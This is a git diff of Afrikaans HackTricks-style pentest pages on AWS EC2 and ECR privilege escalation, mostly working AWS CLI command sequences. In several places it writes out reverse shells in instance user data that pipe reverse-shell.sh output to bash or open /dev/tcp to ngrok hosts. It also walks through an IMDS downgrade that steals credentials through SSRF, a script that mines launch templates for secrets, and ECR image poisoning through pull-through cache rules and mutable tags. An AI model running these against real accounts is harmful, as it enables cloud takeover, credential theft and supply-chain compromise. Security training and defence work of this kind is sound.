nie, want om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg, **het jy die toestemmings `iam:PassRole` en `ec2:RunInstances` nodig** (wat 'n bekende privesc is). - -### `ec2-instance-connect:SendSSHPublicKey` - -'n Aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel aan 'n gebruiker voeg en dit gebruik om toegang te verkry (as hy ssh-toegang tot die instansie het) of om voorregte te verhoog. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**Potensiële Impak:** Direkte privesc na die EC2 IAM rolle wat aan lopende instansies gekoppel is. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -'n Aanvaller met die toestemming **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële verbinding voeg**. As die seriële nie geaktiveer is nie, het die aanvaller die toestemming **`ec2:EnableSerialConsoleAccess` nodig om dit te aktiveer**. - -Om met die seriële poort te verbind, moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien weet. -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -Hierdie manier is nie so nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit te benut. - -**Potensiële Impak:** (Hooglik onbewysbaar) Direkte privesc na die EC2 IAM rolle wat aan lopende instansies gekoppel is. - -### `describe-launch-templates`,`describe-launch-template-versions` - -Aangesien lanseringsjablone weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** regte hierdie benut om sensitiewe inligting te ontdek, soos akrediteer wat in gebruikersdata teenwoordig is. Om dit te bereik, loop die volgende skrip deur al die weergawes van die beskikbare lanseringsjablone: -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om ander tipes sensitiewe inligting te soek. - -As ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie akrediteerlinge gebruik om by AWS aan te meld. - -**Potensiële Impak:** Direkte voorregverhoging na IAM gebruiker(s). - -## Verwysings - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..02a3807b6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,299 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Vir meer **inligting oor EC2** kyk: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +'n aanvaller kan **'n instansie skep en 'n IAM-role daaraan heg en dan toegang tot die instansie kry** om die IAM-role se toegangsbewyse vanaf die metadata-endpunt te steel. + +- **Toegang via SSH** + +Start 'n nuwe instansie met 'n **gemaakte** **ssh key** (`--key-name`) en ssh dan daarna in (as jy 'n nuwe een wil skep, mag jy die toestemming `ec2:CreateKeyPair` nodig hê). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **Toegang via rev shell in user data** + +Jy kan 'n nuwe instance laat loop deur 'n **user data** (`--user-data`) te gebruik wat vir jou 'n **rev shell** sal stuur. Op hierdie manier hoef jy nie 'n security group te spesifiseer nie. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +Wees versigtig met GuardDuty as jy die credentials van die IAM-rol buite die instance gebruik: + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Potensiële impak:** Direkte privesc na enige EC2-rol wat aan bestaande instance profiles gekoppel is. + +#### Privesc to ECS + +Met hierdie stel permissies kan jy ook **'n EC2 instance skep en dit in 'n ECS cluster registreer**. Op hierdie manier sal ECS **services** in die **EC2 instance** waarin jy toegang het, **uitgevoer** word en dan kan jy daardie services (docker containers) penetreer en **hul aangehegte ECS-rolle steel**. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +Om te leer hoe om **ECS services te dwing om in hierdie nuwe EC2-instansie uitgevoer te word**, kyk: + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +As jy **nie 'n nuwe instansie kan skep nie** maar die permissie `ecs:RegisterContainerInstance` het, kan jy moontlik die instansie binne die cluster registreer en die genoemde aanval uitvoer. + +**Potensiële impak:** Direkte privesc na ECS-rolle wat aan tasks gekoppel is. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +Soortgelyk aan die vorige scenario, kan 'n aanvaller met hierdie permissies die **IAM-rol van 'n gekompromitteerde instansie verander** sodat hy nuwe credentials kan steel.\ Aangesien 'n instance profile slegs 1 rol kan hê, as die instance profile **reeds 'n rol het** (algemene geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +Indien die **instance profile 'n role het** en die aanvaller dit **nie kan verwyder nie**, is daar 'n ander ompad. Hy kan 'n **instance profile sonder 'n role** vind of **'n nuwe een skep** (`iam:CreateInstanceProfile`), die **role** by daardie **instance profile** **voeg** (soos voorheen bespreek), en die **instance profile** koppel aan 'n gekompromitteerde **instance:** + +- As die **instance nie oor 'n instance profile beskik nie** (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**Potensiële impak:** Direct privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instansie gekompromitteer hê en ekstra permissie of 'n spesifieke instance profile-status). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +Met hierdie permissies is dit moontlik om die instance profile wat aan 'n instansie gekoppel is te verander, sodat as die aanvaller reeds toegang tot daardie instansie het, hy in staat sal wees om credentials van meer instance-profile rolle te steel deur die een wat daaraan gekoppel is te verander. + +- As dit **'n instance profile het**, kan jy die instance profile **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **koppel** +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- of **vervang** die **instance profile** van die gekompromitteerde instance (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Potensiële impak:** Direkte privesc na 'n ander EC2 rol (jy moet 'n gekompromitteerde AWS EC2-instantie hê en 'n bykomende toestemming of spesifieke instance profile status). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +'n aanvaller met die toestemmings **`ec2:RequestSpotInstances`and`iam:PassRole`** kan **versoek** 'n **Spot Instance** met 'n **EC2 Role attached** en 'n **rev shell** in die **user data**.\ +Sodra die instance loop, kan hy **steel die IAM role**. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +'n aanvaller met die **`ec2:ModifyInstanceAttribute`** kan die instansie se attribuutte wysig. Onder andere kan hy die **user data** verander, wat impliseer dat hy die instansie kan laat **arbitrêre data uitvoer.** Dit kan gebruik word om 'n **rev shell na die EC2 instance** te kry. + +Let op dat die attribuutte slegs **gewysig kan word terwyl die instansie gestop is**, dus is die **permissions** **`ec2:StopInstances`** en **`ec2:StartInstances`** nodig. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Potensiële impak:** Direkte privesc na enige EC2 IAM Role wat aan 'n geskepte instance gekoppel is. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +'n Aanvaller met die toestemmings **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kan 'n **new Launch Template version** skep met 'n **rev shell in** die **user data** en met **any EC2 IAM Role on it**, die default version verander, en **any Autoscaler group** wat daardie **Launch Template** gebruik en gekonfigureer is om die **latest** of die **default version** te gebruik, sal die instances wat daardie template gebruik herbegin en die rev shell uitvoer. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**Potensiële impak:** Direkte privesc na 'n ander EC2 role. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +'n aanvaller met die permissies **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **skep 'n Launch Configuration** met 'n **IAM Role** en 'n **rev shell** binne die **user data**, dan **skep 'n autoscaling group** van daardie config en wag dat die **rev shell** die **IAM Role** **steel**. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Potensiële impak:** Direkte privesc na 'n ander EC2-rol. + +### `!autoscaling` + +Die stel permissies **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om voorregte na 'n IAM-rol te eskaleer nie** omdat om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is te koppel **jy die permissies `iam:PassRole` en `ec2:RunInstances` nodig het** (wat 'n bekende privesc is). + +### `ec2-instance-connect:SendSSHPublicKey` + +'n Aanvaller met die permissie **`ec2-instance-connect:SendSSHPublicKey`** kan 'n SSH-sleutel by 'n gebruiker voeg en dit gebruik om toegang te kry (as hy SSH-toegang tot die instance het) of om privesc te verkry. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**Potensiële impak:** Direct privesc to the EC2 IAM roles attached to running instances. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +'n aanvaller met die toestemming **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kan **'n ssh-sleutel by 'n seriële verbinding voeg**. As die seriële poort nie aangeskakel is nie, benodig die aanvaller die toestemming **`ec2:EnableSerialConsoleAccess` om dit aan te skakel**. + +Om met die seriële poort te verbind moet jy ook **die gebruikersnaam en wagwoord van 'n gebruiker** binne die masjien ken. +```bash +aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +Hierdie manier is nie baie nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit uit te buit. + +**Potential Impact:** (Baie moeilik om te bewys) Direkte privesc na die EC2 IAM-rolle wat aan lopende instances gekoppel is. + +### `describe-launch-templates`,`describe-launch-template-versions` + +Aangesien launch templates weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** toestemmings dit misbruik om sensitiewe inligting te vind, soos credentials in user data. Om dit te doen, deurloop die volgende script alle weergawes van die beskikbare launch templates: +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om na ander tipes sensitiewe inligting te soek. + +As ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie credentials gebruik om by AWS te verifieer. + +**Potensiële impak:** Direct privilege escalation to IAM user(s). + +## Verwysings + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft) + +'n Aanvaller met die vermoë om `ec2:ModifyInstanceMetadataOptions` op 'n slagoffer se EC2 instance te roep, kan IMDS-beskerming verswak deur IMDSv1 (`HttpTokens=optional`) te aktiveer en die `HttpPutResponseHopLimit` te verhoog. Dit maak die instance metadata-endpoint bereikbaar via algemene SSRF/proxy-paaie vanaf toepassings wat op die instance loop. As die aanvaller 'n SSRF in so 'n toepassing kan aktiveer, kan hulle die instance profile credentials terugtrek en daarmee pivot. + +- Benodigde permissies: `ec2:ModifyInstanceMetadataOptions` op die teiken instance (plus die vermoë om 'n SSRF op die gasheer te bereik/veroorsaak). +- Teikenhulpbron: Die lopende EC2 instance met 'n aangehegte instance profile (IAM role). + +Commands example: +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +Potensiële impak: Diefstal van instance profile credentials via SSRF wat lei tot privilege escalation en lateral movement met die EC2-rol se permissies. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index 16d8d1755..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -'n Aanvaller met die **`ecr:GetAuthorizationToken`** en **`ecr:BatchGetImage`** kan inlog op ECR en beelde aflaai. - -Vir meer inligting oor hoe om beelde af te laai: - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die verkeer te onderskep. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -'n Aanvaller met al daardie toestemmings **kan inlog op ECR en beelde oplaai**. Dit kan nuttig wees om voorregte na ander omgewings te eskaleer waar daardie beelde gebruik word. - -Om te leer hoe om 'n nuwe beeld op te laai/op te dateer, kyk: - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -Soos die vorige afdeling, maar vir openbare repositories. - -### `ecr:SetRepositoryPolicy` - -'n Aanvaller met hierdie toestemming kan die **repository** **beleid** **verander** om homself (of selfs almal) **lees/skryf toegang** te gee.\ -Byvoorbeeld, in hierdie voorbeeld word lees toegang aan almal gegee. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -Inhoud van `my-policy.json`: -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -Soos die vorige afdeling, maar vir openbare repositories.\ -'n Aanvaller kan die **repository-beleid** van 'n ECR Openbare repository wysig om ongeoorloofde openbare toegang te verleen of om hul voorregte te verhoog. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**Potensiële Impak**: Ongeoorloofde openbare toegang tot die ECR Publieke berging, wat enige gebruiker in staat stel om beelde te druk, te trek of te verwyder. - -### `ecr:PutRegistryPolicy` - -'n Aanvaller met hierdie toestemming kan die **registrasiebeleid** **verander** om homself, sy rekening (of selfs almal) **lees/skryf toegang** te gee. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..6604f8f83 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +'n Aanvaller met die **`ecr:GetAuthorizationToken`** en **`ecr:BatchGetImage`** kan by ECR aanmeld en beelde aflaai. + +For more info on how to download images: + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer te onderskep. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +'n Aanvaller met al daardie permissies **kan by ECR aanmeld en beelde oplaai**. Dit kan nuttig wees om privilege te eskaleer na ander omgewings waar daardie beelde gebruik word. + +To learn how to upload a new image/update one, check: + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +Soos die vorige afdeling, maar vir publieke repositories. + +### `ecr:SetRepositoryPolicy` + +'n Aanvaller met hierdie permissie kan die **repository** **policy** verander om homself (of selfs almal) **read/write access** te gee.\ +Byvoorbeeld, in hierdie voorbeeld word lees toegang aan almal gegee. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +Inhoud van `my-policy.json`: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +Soos die vorige afdeling, maar vir openbare repositorieë.\ +'n aanvaller kan **die repositoriebeleid verander** van 'n ECR Public repository om ongemagtigde openbare toegang te verleen of hul bevoegdhede op te skaal. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**Potensiële impak**: Ongemagtigde openbare toegang tot die ECR Public repository, wat enige gebruiker toelaat om images te push, pull of te delete. + +### `ecr:PutRegistryPolicy` + +’n attacker met hierdie toestemming kan die **registry policy** verander om homself, sy rekening (of selfs almal) **read/write access** toe te ken. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +Misbruik ECR Pull Through Cache (PTC)-reëls om 'n attacker-controlled upstream namespace aan 'n vertroude private ECR-voorvoegsel te koppel. Dit laat workloads wat vanaf die private ECR trek, deursigtig attacker images ontvang sonder enige push na die private ECR. + +- Vereiste perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo. +- Tested upstream: public.ecr.aws + +Stappe (voorbeeld): + +1. Berei 'n attacker image in ECR Public voor +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. Skep die PTC-regel in die private ECR om 'n vertroude voorvoegsel na die public registry te koppel +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. Trek die attacker image via die private ECR-pad (geen push na die private ECR is gedoen nie) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +Potensiële impak: Voorsieningsketting-kompromie deur interne image-names onder die gekose voorvoegsel te kaap. Enige workload wat beelde vanaf die private ECR met daardie voorvoegsel trek sal attacker-controlled inhoud ontvang. + +### `ecr:PutImageTagMutability` + +Misbruik hierdie toestemming om 'n repository met tag immutability na mutable om te skakel en vertroude tags (bv. latest, stable, prod) met attacker-controlled inhoud oor te skryf. + +- Vereiste perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Impak: Voorsieningsketting-kompromie deur stilweg onveranderlike tags te vervang sonder om tag-name te verander. + +Stappe (voorbeeld): + +
+Vergiftig 'n onveranderlike tag deur die tag se mutability om te skakel +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
+ + +#### Globale registerkaping via ROOT Pull-Through Cache rule + +Skep 'n Pull-Through Cache (PTC) rule using the special `ecrRepositoryPrefix=ROOT` om die wortel van die private ECR-register na 'n upstream openbare register (bv. ECR Public) te map. Enige pull na 'n nie-bestaande repository in die private register sal deursigtig vanaf upstream bedien word, wat supply-chain hijacking moontlik maak sonder om na private ECR te push. + +- Vereiste perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Impak: Pulls na `.dkr.ecr..amazonaws.com/:` slaag en skep outomaties private repos wat vanaf upstream verkry is. + +> Nota: Vir `ROOT` rules, weglê `--upstream-repository-prefix`. Om dit te verskaf sal 'n valideringsfout veroorsaak. + +
